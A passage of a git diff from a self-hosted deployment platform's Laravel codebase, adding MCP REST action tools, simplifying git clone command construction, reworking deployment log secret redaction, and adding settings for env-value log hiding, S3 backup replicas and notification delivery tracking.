'services/{uuid}/tags', + ], 'ability' => 'write', 'description' => 'attach tags by name, missing team tags are created (data: tag_name or tag_names)'], + 'detach' => ['method' => 'DELETE', 'paths' => [ + 'application' => 'applications/{uuid}/tags/{tag_uuid}', + 'database' => 'databases/{uuid}/tags/{tag_uuid}', + 'service' => 'services/{uuid}/tags/{tag_uuid}', + ], 'ability' => 'write', 'description' => 'detach a tag from the resource'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application, database, or service UUID (attach and detach).', + 'tag_uuid' => 'Tag UUID (update, delete, detach).', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: name (create, update), tag_name or tag_names (attach).'; + } +} diff --git a/app/Mcp/Tools/RestActionTool.php b/app/Mcp/Tools/RestActionTool.php new file mode 100644 index 0000000000..feccc6a864 --- /dev/null +++ b/app/Mcp/Tools/RestActionTool.php @@ -0,0 +1,164 @@ + 'applications/{uuid}/envs']). + * + * @return array, ability: string, confirm?: bool, description: string}> + */ + abstract protected function actions(): array; + + /** + * Path parameters this tool accepts, with descriptions. + * + * @return array + */ + abstract protected function pathParams(): array; + + /** + * Description of the fields accepted in `data`. Empty when the tool takes no body. + */ + protected function dataDescription(): string + { + return ''; + } + + /** + * Actions that the current token has the ability for. + * + * @return array, ability: string, confirm?: bool, description: string}> + */ + protected function availableActions(): array + { + return array_filter($this->actions(), fn (array $action): bool => $this->currentTokenCan($action['ability'])); + } + + public function shouldRegister(): bool + { + return $this->availableActions() !== []; + } + + public function handle(Request $request): Response + { + $actions = $this->availableActions(); + $actionName = $request->get('action'); + + $allActions = $this->actions(); + if (! is_string($actionName) || ! isset($allActions[$actionName])) { + return $this->mcpError($request, 'action must be one of: '.implode(', ', array_keys($actions)).'.'); + } + $action = $allActions[$actionName]; + + // Hidden actions still reach this check, so the agent gets the missing ability, not "unknown action". + if ($error = $this->ensureAbility($request, $action['ability'], $this->name)) { + return $error; + } + + if (is_null($this->resolveTeamId($request))) { + return $this->mcpError($request, 'Invalid token.'); + } + + if (($action['confirm'] ?? false) && $error = $this->ensureConfirmed($request, "{$this->name} {$actionName}")) { + return $error; + } + + $path = $action['path'] ?? null; + if (isset($action['paths'])) { + $resource = $request->get('resource'); + if (! is_string($resource) || ! isset($action['paths'][$resource])) { + return $this->mcpError($request, 'resource must be one of: '.implode(', ', array_keys($action['paths'])).'.'); + } + $path = $action['paths'][$resource]; + } + + $data = $request->get('data') ?? []; + if (! is_array($data) || ($data !== [] && array_is_list($data))) { + return $this->mcpError($request, 'data must be a JSON object.'); + } + + $pathParams = []; + foreach (array_keys($this->pathParams()) as $param) { + $value = $request->get($param); + if ($value !== null) { + if (! is_scalar($value)) { + return $this->mcpError($request, "{$param} must be a string."); + } + $pathParams[$param] = $value; + } + } + + try { + $result = $this->callRestApi($action['method'], $path, $pathParams, $data); + } catch (\InvalidArgumentException $e) { + return $this->mcpError($request, $e->getMessage()); + } + + $context = ['action' => $actionName, 'resource' => $request->get('resource'), 'status' => $result['status']] + array_map('strval', $pathParams); + + if ($result['status'] >= 400) { + $body = is_array($result['body']) ? $result['body'] : []; + $message = (string) ($body['message'] ?? 'Request failed.'); + if (isset($body['errors']) && is_array($body['errors'])) { + $message .= ' '.json_encode($body['errors']); + } + + return $this->mcpError($request, $message, $context); + } + + return $this->mcpSuccess($request, $this->respond(is_array($result['body']) ? $result['body'] : []), $context); + } + + public function schema(JsonSchema $schema): array + { + $actionLines = collect($this->availableActions()) + ->map(fn (array $action, string $name): string => "{$name}: {$action['description']}".(($action['confirm'] ?? false) ? ' (needs confirm=true)' : '')) + ->implode('; '); + + $fields = [ + 'action' => $schema->string()->enum(array_keys($this->availableActions()))->description($actionLines)->required(), + ]; + + $resources = collect($this->availableActions())->pluck('paths')->filter()->flatMap(fn (array $paths): array => array_keys($paths))->unique()->values()->all(); + if ($resources !== []) { + $fields['resource'] = $schema->string()->enum($resources)->description('Resource type for actions that support several ('.implode(' | ', $resources).').'); + } + + foreach ($this->pathParams() as $param => $description) { + $fields[$param] = $schema->string()->description($description); + } + + if ($this->dataDescription() !== '') { + $fields['data'] = $schema->object()->description($this->dataDescription()); + } + + if (collect($this->availableActions())->contains(fn (array $action): bool => $action['confirm'] ?? false)) { + $fields['confirm'] = $schema->boolean()->description('Must be true for destructive actions.'); + } + + return $fields; + } +} diff --git a/app/Mcp/Tools/RollbackApplication.php b/app/Mcp/Tools/RollbackApplication.php new file mode 100644 index 0000000000..e4fb644594 --- /dev/null +++ b/app/Mcp/Tools/RollbackApplication.php @@ -0,0 +1,34 @@ + ['method' => 'POST', 'path' => 'applications/{uuid}/rollback', 'ability' => 'deploy', 'confirm' => true, 'description' => 'roll back to an image tag (data: commit)'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application UUID.', + ]; + } + + protected function dataDescription(): string + { + return 'Request body, same fields as the REST API: commit (image tag / commit SHA from list_rollback_images).'; + } +} diff --git a/app/Mcp/Tools/SearchResources.php b/app/Mcp/Tools/SearchResources.php index 4db76bfd28..28ea617e38 100644 --- a/app/Mcp/Tools/SearchResources.php +++ b/app/Mcp/Tools/SearchResources.php @@ -13,7 +13,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class SearchResources extends Tool { protected string $name = 'search_resources'; diff --git a/app/Models/Application.php b/app/Models/Application.php index d69c7f3ad5..fc9085752c 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -748,6 +748,14 @@ class Application extends BaseModel return $this->hasOne(ApplicationSetting::class); } + /** + * Whether logs hide every environment value, or only locked values. + */ + public function redactsAllEnvValuesInLogs(): bool + { + return $this->settings?->redact_all_env_values_in_logs ?? true; + } + public function persistentStorages() { return $this->morphMany(LocalPersistentVolume::class, 'resource'); @@ -1160,7 +1168,7 @@ class Application extends BaseModel { return $this->morphMany(EnvironmentVariable::class, 'resourceable') ->where('is_preview', false) - ->withoutBuildpackControlVariables(); + ->withoutBuildOnlyBuildpackControlVariables(); } public function nixpacks_environment_variables() @@ -1195,7 +1203,7 @@ class Application extends BaseModel { return $this->morphMany(EnvironmentVariable::class, 'resourceable') ->where('is_preview', true) - ->withoutBuildpackControlVariables(); + ->withoutBuildOnlyBuildpackControlVariables(); } public function nixpacks_environment_variables_preview() @@ -1842,28 +1850,6 @@ class Application extends BaseModel return $commands; } - private function withGitHttpTransportConfig(?string $gitConfigOptions = null): string - { - return trim(($gitConfigOptions ? "{$gitConfigOptions} " : '').'-c http.version=HTTP/1.1'); - } - - private function isHttpGitRepository(string $repository): bool - { - return str_starts_with($repository, 'https://') || str_starts_with($repository, 'http://'); - } - - private function applyGitConfigOptionsToCloneCommand(string $gitCloneCommand, string $gitConfigOptions): string - { - $configuredCommand = preg_replace( - "/^git(?:\s+-c\s+(?:'[^']*'|\S+))*\s+clone\b/", - "git {$gitConfigOptions} clone", - $gitCloneCommand, - 1 - ); - - return $configuredCommand ?: $gitCloneCommand; - } - public function generateGitImportCommands(string $deployment_uuid, int $pull_request_id = 0, ?string $git_type = null, bool $exec_in_docker = true, bool $only_checkout = false, ?string $custom_base_dir = null, ?string $commit = null) { $branch = $this->git_branch; @@ -1907,10 +1893,8 @@ class Application extends BaseModel $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; - $gitConfigOptions = $this->withGitHttpTransportConfig(); - $git_clone_command = $this->applyGitConfigOptionsToCloneCommand($git_clone_command, $gitConfigOptions); if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, gitConfigOptions: $gitConfigOptions, baseDir: $baseDir, onlyCheckout: $only_checkout); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout); } if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, $git_clone_command))); @@ -1923,7 +1907,6 @@ class Application extends BaseModel // Rewrite same-host HTTPS URLs only for these git commands so submodules can authenticate without persisting credentials. $gitConfigOption = '-c '.escapeshellarg("url.{$source_html_url_scheme}://x-access-token:{$encodedToken}@{$source_html_url_host}/.insteadOf={$source_html_url_scheme}://{$source_html_url_host}/"); - $gitConfigOptions = $this->withGitHttpTransportConfig($gitConfigOption); $git_clone_command = str_replace('git clone', "git {$gitConfigOption} clone", $git_clone_command); if ($exec_in_docker) { @@ -1937,9 +1920,8 @@ class Application extends BaseModel $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } - $git_clone_command = $this->applyGitConfigOptionsToCloneCommand($git_clone_command, $gitConfigOptions); if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit, gitConfigOptions: $gitConfigOptions, baseDir: $baseDir, onlyCheckout: $only_checkout); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); } if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, $git_clone_command))); @@ -1950,13 +1932,12 @@ class Application extends BaseModel if ($pull_request_id !== 0) { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; - $git_checkout_command = $this->buildGitCheckoutCommand($pr_branch_name, gitConfigOptions: $gitConfigOptions ?? null); - $gitCommand = isset($gitConfigOptions) ? "git {$gitConfigOptions}" : 'git'; + $git_checkout_command = $this->buildGitCheckoutCommand($pr_branch_name, gitConfigOptions: $gitConfigOption ?? null); $escapedPrBranch = escapeshellarg($branch); if ($exec_in_docker) { - $commands->push($this->gitCommand(executeInDocker($deployment_uuid, "cd {$escapedBaseDir} && {$gitCommand} fetch origin {$escapedPrBranch} && $git_checkout_command"))); + $commands->push($this->gitCommand(executeInDocker($deployment_uuid, "cd {$escapedBaseDir} && git fetch origin {$escapedPrBranch} && $git_checkout_command"))); } else { - $commands->push($this->gitCommand("cd {$escapedBaseDir} && {$gitCommand} fetch origin {$escapedPrBranch} && $git_checkout_command")); + $commands->push($this->gitCommand("cd {$escapedBaseDir} && git fetch origin {$escapedPrBranch} && $git_checkout_command")); } } @@ -1978,16 +1959,16 @@ class Application extends BaseModel // Rewrite same-host HTTPS submodule URLs to auth with the OAuth token (mirrors the GitHub path) without persisting credentials. $gitConfigOption = '-c '.escapeshellarg("url.{$source_html_url_scheme}://oauth2:{$encodedToken}@{$source_html_url_host}{$pathPrefix}/.insteadOf={$source_html_url_scheme}://{$source_html_url_host}{$pathPrefix}/"); - $gitConfigOptions = $this->withGitHttpTransportConfig($gitConfigOption); + $git_clone_command = str_replace('git clone', "git {$gitConfigOption} clone", $git_clone_command); $repoUrl = "{$source_html_url_scheme}://oauth2:{$encodedToken}@{$source_html_url_host}{$pathPrefix}/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $fullRepoUrl = $repoUrl; - $git_clone_command_base = $this->applyGitConfigOptionsToCloneCommand("{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}", $gitConfigOptions); + $git_clone_command_base = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitConfigOptions: $gitConfigOptions, baseDir: $baseDir, onlyCheckout: $only_checkout); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitConfigOptions: $gitConfigOption, baseDir: $baseDir, onlyCheckout: $only_checkout); } if ($pull_request_id !== 0) { @@ -1997,9 +1978,9 @@ class Application extends BaseModel } else { $commands->push("echo 'Checking out {$branch}'"); } - $git_checkout_command = $this->buildGitCheckoutCommand($pr_branch_name, gitConfigOptions: $gitConfigOptions); + $git_checkout_command = $this->buildGitCheckoutCommand($pr_branch_name, gitConfigOptions: $gitConfigOption); $escapedPrBranch = escapeshellarg($branch); - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && git {$gitConfigOptions} fetch origin {$escapedPrBranch} && {$git_checkout_command}"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && git {$gitConfigOption} fetch origin {$escapedPrBranch} && {$git_checkout_command}"; } if ($exec_in_docker) { @@ -2058,11 +2039,7 @@ class Application extends BaseModel $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - $gitConfigOptions = $this->isHttpGitRepository($customRepository) ? $this->withGitHttpTransportConfig() : null; - if ($gitConfigOptions) { - $git_clone_command = $this->applyGitConfigOptionsToCloneCommand($git_clone_command, $gitConfigOptions); - } - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, gitConfigOptions: $gitConfigOptions, baseDir: $baseDir, onlyCheckout: $only_checkout); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout); if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, $git_clone_command))); @@ -2137,15 +2114,10 @@ class Application extends BaseModel $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - $gitConfigOptions = $this->isHttpGitRepository($customRepository) ? $this->withGitHttpTransportConfig() : null; - if ($gitConfigOptions) { - $git_clone_command = $this->applyGitConfigOptionsToCloneCommand($git_clone_command, $gitConfigOptions); - } - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, gitConfigOptions: $gitConfigOptions, baseDir: $baseDir, onlyCheckout: $only_checkout); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit, baseDir: $baseDir, onlyCheckout: $only_checkout); $otherSshCommand = "ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"; if ($pull_request_id !== 0) { - $gitCommand = isset($gitConfigOptions) ? "git {$gitConfigOptions}" : 'git'; if ($git_type === 'gitlab') { $branch = "merge-requests/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -2153,7 +2125,7 @@ class Application extends BaseModel } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOptions); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -2161,14 +2133,14 @@ class Application extends BaseModel } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" {$gitCommand} fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand, $gitConfigOptions); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push($this->gitCommand(executeInDocker($deployment_uuid, "echo 'Checking out $branch'"))); } else { $commands->push($this->gitCommand("echo 'Checking out $branch'")); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand, $gitConfigOptions); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand); } } @@ -2280,6 +2252,17 @@ class Application extends BaseModel return $reason ? '

Reason: '.e(str($reason)->limit(300)->value()) : ''; } + /** + * One shell command that clones the repository without a checkout into $checkoutDir on the server, + * with the same credentials (GitHub App token, GitLab token, or deploy key) as a deployment. + */ + public function serverCheckoutCommand(string $uuid, string $checkoutDir): string + { + ['commands' => $cloneCommand] = $this->generateGitImportCommands(deployment_uuid: $uuid, only_checkout: true, exec_in_docker: false, custom_base_dir: $checkoutDir); + + return str_replace(' clone ', ' clone --quiet ', $this->gitCommandsAsShellCommand($cloneCommand)); + } + /** * Commands that check out only the Compose file on the server and print it. They run on the * server itself, not in a helper container, so the checkout uses an absolute folder in /tmp. @@ -2289,8 +2272,7 @@ class Application extends BaseModel private function composeFileReadCommands(string $uuid, string $gitVersion): Collection { $checkoutDir = "/tmp/{$uuid}/checkout"; - ['commands' => $cloneCommand] = $this->generateGitImportCommands(deployment_uuid: $uuid, only_checkout: true, exec_in_docker: false, custom_base_dir: $checkoutDir); - $cloneCommand = str_replace(' clone ', ' clone --quiet ', $this->gitCommandsAsShellCommand($cloneCommand)); + $cloneCommand = $this->serverCheckoutCommand($uuid, $checkoutDir); $workdir = rtrim($this->base_directory, '/'); $fileList = collect([".{$workdir}{$this->docker_compose_location}"]); $composeFilePath = escapeshellarg(".{$workdir}{$this->docker_compose_location}"); @@ -2441,18 +2423,18 @@ class Application extends BaseModel public function parseContainerLabels(?ApplicationPreview $preview = null) { - $customLabels = data_get($this, 'custom_labels'); - if (! $customLabels) { + $storedLabels = data_get($this, 'custom_labels'); + if (! $storedLabels) { return; } - if (base64_encode(base64_decode($customLabels, true)) !== $customLabels) { - $this->custom_labels = str($customLabels)->replace(',', "\n"); - $this->custom_labels = base64_encode($customLabels); - } - $customLabels = base64_decode($this->custom_labels); - if (mb_detect_encoding($customLabels, 'UTF-8', true) === false) { + + $customLabels = decodeBase64EncodedLabels($storedLabels); + if ($customLabels === null && ! isBase64Encoded($storedLabels)) { + $customLabels = $storedLabels; + } elseif ($customLabels === null) { $customLabels = str(implode('|coolify|', generateLabelsApplication($this, $preview)))->replace('|coolify|', "\n"); } + $this->custom_labels = base64_encode($customLabels); $this->save(); diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 5994f187de..2979cab170 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -4,10 +4,12 @@ namespace App\Models; use App\Casts\EncryptedArrayCast; use App\Enums\ApplicationDeploymentStatus; +use App\Services\Security\SensitiveDataRedactor; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use OpenApi\Attributes as OA; #[OA\Schema( @@ -47,12 +49,21 @@ use OpenApi\Attributes as OA; class ApplicationDeploymentQueue extends Model { /** - * Kept in memory only, never saved. + * Log redaction variants of remote secrets. Kept in memory only, never saved. * - * @var array + * @var array */ private array $remoteSecretsForRedaction = []; + public const HIDDEN_ENV_VALUES_HINT = 'Some environment variable values are hidden in this log. To show values that are not locked, go to Environment Variables > Environment values in logs and select "Hide locked values only".'; + + /** @var array{known: array, locked: array}|null */ + private ?array $logRedactionSecrets = null; + + private bool $hiddenEnvValuesHintAdded = false; + + private bool $corruptedLogsWarned = false; + protected static function booted(): void { static::created(function (ApplicationDeploymentQueue $deployment): void { @@ -204,58 +215,49 @@ class ApplicationDeploymentQueue extends Model */ public function redactRemoteSecrets(array $secrets): void { - $this->remoteSecretsForRedaction = $secrets; + $this->remoteSecretsForRedaction = EnvironmentVariable::remoteSecretLogRedactionValues($secrets); } - private function redactSensitiveInfo($text) + /** + * Redact a deployment log text. The application secrets are collected once per deployment. + */ + public function redactLogText(string $text): string { try { - $text = remove_iip($text); - - $app = $this->application; - if (! $app) { - return $text; - } - - $lockedVars = collect([]); - - if ($app->environment_variables) { - $lockedVars = $lockedVars->merge( - $app->environment_variables - ->where('is_shown_once', true) - ->flatMap(fn (EnvironmentVariable $variable): array => $variable->logRedactionValues()) - ->filter() - ); - } - - if ($this->pull_request_id !== 0 && $app->environment_variables_preview) { - $lockedVars = $lockedVars->merge( - $app->environment_variables_preview - ->where('is_shown_once', true) - ->flatMap(fn (EnvironmentVariable $variable): array => $variable->logRedactionValues()) - ->filter() - ); - } - - $lockedVars = $lockedVars->merge(EnvironmentVariable::remoteSecretLogRedactionValues($this->remoteSecretsForRedaction)); - - foreach ($lockedVars as $key => $value) { - $escapedValue = preg_quote($value, '/'); - $text = preg_replace( - '/'.$escapedValue.'/', - REDACTED, - $text - ); - } - - return is_string($text) ? $text : REDACTED; + // The deployment job registers its remote secrets with redactRemoteSecrets(), so they are not fetched again. + $this->logRedactionSecrets ??= EnvironmentVariable::logRedactionSecretsFor($this->application, $this->pull_request_id !== 0, resolveRemoteSecrets: false); } catch (\Throwable) { return REDACTED; } + + return app(SensitiveDataRedactor::class)->redactText( + $text, + $this->logRedactionSecrets['known'], + array_merge($this->logRedactionSecrets['locked'], $this->remoteSecretsForRedaction), + ); } - public function addLogEntry(string $message, string $type = 'stdout', bool $hidden = false) + /** + * Tell if the "redact all values" setting hides an environment value that is not locked in this text. + */ + private function hidesUnlockedEnvValues(string $text): bool { + if ($this->logRedactionSecrets === null) { + return false; + } + + $unlockedValues = array_diff($this->logRedactionSecrets['known'], $this->logRedactionSecrets['locked'], $this->remoteSecretsForRedaction); + + return app(SensitiveDataRedactor::class)->containsKnownSecret($text, $unlockedValues); + } + + public function addLogEntry( + string $message, + string $type = 'stdout', + bool $hidden = false, + ?string $command = null, + int $batch = 1, + ): void { if ($type === 'error') { $type = 'stderr'; } @@ -264,30 +266,62 @@ class ApplicationDeploymentQueue extends Model $message = "\n".$message; } $newLogEntry = [ - 'command' => null, - 'output' => $this->redactSensitiveInfo($message), + 'command' => $command === null ? null : $this->redactLogText($command), + 'output' => $this->redactLogText($message), 'type' => $type, 'timestamp' => Carbon::now('UTC'), 'hidden' => $hidden, - 'batch' => 1, + 'batch' => $batch, ]; - // Use a transaction to ensure atomicity - DB::transaction(function () use ($newLogEntry) { - // Reload the model to get the latest logs - $this->refresh(); + $addHiddenEnvValuesHint = ! $this->hiddenEnvValuesHintAdded && $this->hidesUnlockedEnvValues($message.' '.$command); - if ($this->logs) { - $previousLogs = json_decode($this->logs, associative: true, flags: JSON_THROW_ON_ERROR); - $newLogEntry['order'] = count($previousLogs) + 1; - $previousLogs[] = $newLogEntry; - $this->logs = json_encode($previousLogs, flags: JSON_THROW_ON_ERROR); - } else { - $this->logs = json_encode([$newLogEntry], flags: JSON_THROW_ON_ERROR); + DB::transaction(function () use ($newLogEntry, $addHiddenEnvValuesHint): void { + $storedLogs = static::query()->whereKey($this->getKey())->lockForUpdate()->value('logs'); + $previousLogs = $this->decodeLogs($storedLogs); + if ($previousLogs === null) { + // Keep the stored log history instead of overwriting it with a new list. + if (! $this->corruptedLogsWarned) { + $this->corruptedLogsWarned = true; + Log::warning('Skipped a deployment log entry because the stored deployment logs cannot be decoded.', [ + 'deployment_uuid' => $this->deployment_uuid, + ]); + } + + return; } + $newLogEntry['order'] = count($previousLogs) + 1; + $previousLogs[] = $newLogEntry; + if ($addHiddenEnvValuesHint) { + $this->hiddenEnvValuesHintAdded = true; + if (! collect($previousLogs)->contains('output', self::HIDDEN_ENV_VALUES_HINT)) { + $previousLogs[] = [...$newLogEntry, 'command' => null, 'output' => self::HIDDEN_ENV_VALUES_HINT, 'type' => 'stdout', 'hidden' => false, 'order' => $newLogEntry['order'] + 1]; + } + } + $logs = json_encode($previousLogs, flags: JSON_THROW_ON_ERROR | JSON_INVALID_UTF8_SUBSTITUTE); - // Save without triggering events to prevent potential race conditions - $this->saveQuietly(); + // Update only the logs column without model events to prevent race conditions. + static::query()->whereKey($this->getKey())->update(['logs' => $logs]); + $this->logs = $logs; + $this->syncOriginalAttribute('logs'); }); } + + /** + * @return array|null Null when the stored logs are not blank and cannot be decoded. + */ + private function decodeLogs(?string $logs): ?array + { + if (blank($logs)) { + return []; + } + + try { + $decoded = json_decode($logs, associative: true, flags: JSON_THROW_ON_ERROR); + } catch (\JsonException) { + return null; + } + + return is_array($decoded) ? array_values($decoded) : null; + } } diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index f67497bf34..4a0f6d78f0 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -337,6 +337,10 @@ class ApplicationPreview extends BaseModel $previewFqdn = str_replace('{{random}}', $random, $template); $previewFqdn = str_replace('{{domain}}', $host, $previewFqdn); $previewFqdn = str_replace('{{pr_id}}', (string) $this->pull_request_id, $previewFqdn); + if (preg_match('#^(https?)://(.*)$#i', $previewFqdn, $matches)) { + $schema = strtolower($matches[1]); + $previewFqdn = $matches[2]; + } $previewUrl = "{$schema}://{$previewFqdn}{$path}"; $sourceCanonical = DomainPortOverrides::withoutPort($sourceDomain); $port = $url->getPort() ?? ($this->application->domain_port_overrides[$sourceCanonical] ?? null); diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index 18b26f454f..41249a5201 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -29,6 +29,7 @@ use OpenApi\Attributes as OA; 'is_build_server_enabled' => ['type' => 'boolean'], 'is_consistent_container_name_enabled' => ['type' => 'boolean'], 'is_gzip_enabled' => ['type' => 'boolean'], + 'traefik_certificate_resolver' => ['type' => 'string', 'nullable' => true, 'description' => 'Traefik certificate resolver override. Null uses the server setting, "none" uses no resolver.'], 'is_stripprefix_enabled' => ['type' => 'boolean'], 'connect_to_docker_network' => ['type' => 'boolean'], 'custom_internal_name' => ['type' => 'string', 'nullable' => true], @@ -42,6 +43,7 @@ use OpenApi\Attributes as OA; 'is_git_shallow_clone_enabled' => ['type' => 'boolean'], 'is_pr_deployments_public_enabled' => ['type' => 'boolean'], 'use_build_secrets' => ['type' => 'boolean'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'description' => 'Hide every environment variable value in logs. When false, only locked values are hidden.'], 'inject_build_args_to_dockerfile' => ['type' => 'boolean'], 'include_source_commit_in_build' => ['type' => 'boolean'], 'docker_images_to_keep' => ['type' => 'integer'], @@ -86,6 +88,7 @@ class ApplicationSetting extends Model 'is_stripprefix_enabled' => 'boolean', 'connect_to_docker_network' => 'boolean', 'is_env_sorting_enabled' => 'boolean', + 'redact_all_env_values_in_logs' => 'boolean', 'disable_build_cache' => 'boolean', ]; @@ -110,6 +113,7 @@ class ApplicationSetting extends Model 'is_build_server_enabled', 'is_consistent_container_name_enabled', 'is_gzip_enabled', + 'traefik_certificate_resolver', 'is_stripprefix_enabled', 'connect_to_docker_network', 'custom_internal_name', @@ -123,6 +127,7 @@ class ApplicationSetting extends Model 'is_git_shallow_clone_enabled', 'is_pr_deployments_public_enabled', 'use_build_secrets', + 'redact_all_env_values_in_logs', 'inject_build_args_to_dockerfile', 'include_source_commit_in_build', 'docker_images_to_keep', diff --git a/app/Models/DatabaseBackupS3Replica.php b/app/Models/DatabaseBackupS3Replica.php new file mode 100644 index 0000000000..1dee319c2b --- /dev/null +++ b/app/Models/DatabaseBackupS3Replica.php @@ -0,0 +1,38 @@ + 'boolean', + 's3_storage_deleted' => 'boolean', + ]; + } + + public function execution(): BelongsTo + { + return $this->belongsTo(ScheduledDatabaseBackupExecution::class, 'execution_id'); + } + + public function s3(): BelongsTo + { + return $this->belongsTo(S3Storage::class, 's3_storage_id'); + } +} diff --git a/app/Models/DiscordNotificationSettings.php b/app/Models/DiscordNotificationSettings.php index 48d5b5d293..4bf3343527 100644 --- a/app/Models/DiscordNotificationSettings.php +++ b/app/Models/DiscordNotificationSettings.php @@ -2,12 +2,13 @@ namespace App\Models; +use App\Traits\TracksDeliveryFailures; use Illuminate\Database\Eloquent\Model; use Illuminate\Notifications\Notifiable; class DiscordNotificationSettings extends Model { - use Notifiable; + use Notifiable, TracksDeliveryFailures; public $timestamps = false; @@ -74,4 +75,14 @@ class DiscordNotificationSettings extends Model { return $this->discord_ping_enabled; } + + public function notificationChannelName(): string + { + return 'Discord'; + } + + protected function disableNotificationChannel(): void + { + $this->discord_enabled = false; + } } diff --git a/app/Models/EmailNotificationSettings.php b/app/Models/EmailNotificationSettings.php index 3b04b482af..94d0802d96 100644 --- a/app/Models/EmailNotificationSettings.php +++ b/app/Models/EmailNotificationSettings.php @@ -2,10 +2,13 @@ namespace App\Models; +use App\Traits\TracksDeliveryFailures; use Illuminate\Database\Eloquent\Model; class EmailNotificationSettings extends Model { + use TracksDeliveryFailures; + public $timestamps = false; protected $fillable = [ @@ -93,4 +96,15 @@ class EmailNotificationSettings extends Model { return $this->smtp_enabled || $this->resend_enabled || $this->use_instance_email_settings; } + + public function notificationChannelName(): string + { + return 'Email'; + } + + protected function disableNotificationChannel(): void + { + $this->smtp_enabled = false; + $this->resend_enabled = false; + } } diff --git a/app/Models/Environment.php b/app/Models/Environment.php index 